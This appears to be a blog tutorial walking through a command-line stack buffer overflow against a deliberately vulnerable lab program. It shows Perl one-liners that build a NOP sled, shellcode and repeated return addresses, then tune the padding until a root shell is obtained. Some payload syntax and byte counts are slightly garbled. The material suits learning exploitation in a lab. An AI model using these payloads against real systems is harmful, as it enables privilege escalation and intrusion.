After reading our previous post:Exploiting buffer overflows using command line it’s time to do Exploit Shell code using Command-line but I think you do want to clear your doubt of previous post , so let’s know about how the number 38 was calculated in our previous case using with some simple module math.

(408 byte-200 bytes of NOP - 53 byte of shellcode) / 4 byte of address  = 38.75

when the Perl command was wrapped in bark-ticks ( ` ), they may be chain to make a larger series of character or numeric values for example we can make a 408-byte of string that can be using for attack and feed it to our vulnerable buffer.c program as follow.

root@buffercode:$ ./buffer mr `perl -e 'print   "\x90"x200'; ``cat  sc ``perl -e 'print "\xc0\xe5\xff\xff"38';`
Segmentation fault

this 405 byte string is used as second argument and then we create buffer overflow as follow:
:p 200 byte of NOPs (“\x90”).
:p 53 bytes of shellcode.
:p 152 bytes of repeated return address.
Since our buffer-overflow attack is only 405 bytes , as we expected , it crashed.It simply means our repeated address has some misalignment and they are overriding the saved return address.

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Now we need to increment the number of NOPs to Exploit Shell code using Command-line as follows:

$./buffer hello `perl -e 'print "\x90"x201'; ``cat  sc ``perl -e 'print "\xc0\xe5\xff\xff"38';`
segmentation fault
$./buffer hello `perl -e 'print "\x90"x202'; ``cat  sc ``perl -e 'print "\xc0\xe5\xff\xff"38';`
$./buffer hello `perl -e 'print "\x90"x203'; ``cat  sc ``perl -e 'print "\xc0\xe5\xff\xff"38';`
Hello e'^^ttyFF
......truncated for bravity

Woooooooooo it worked , now we are root user 😉 Here important thing is that how we get access of root user from command line by incrementing the buffer value.

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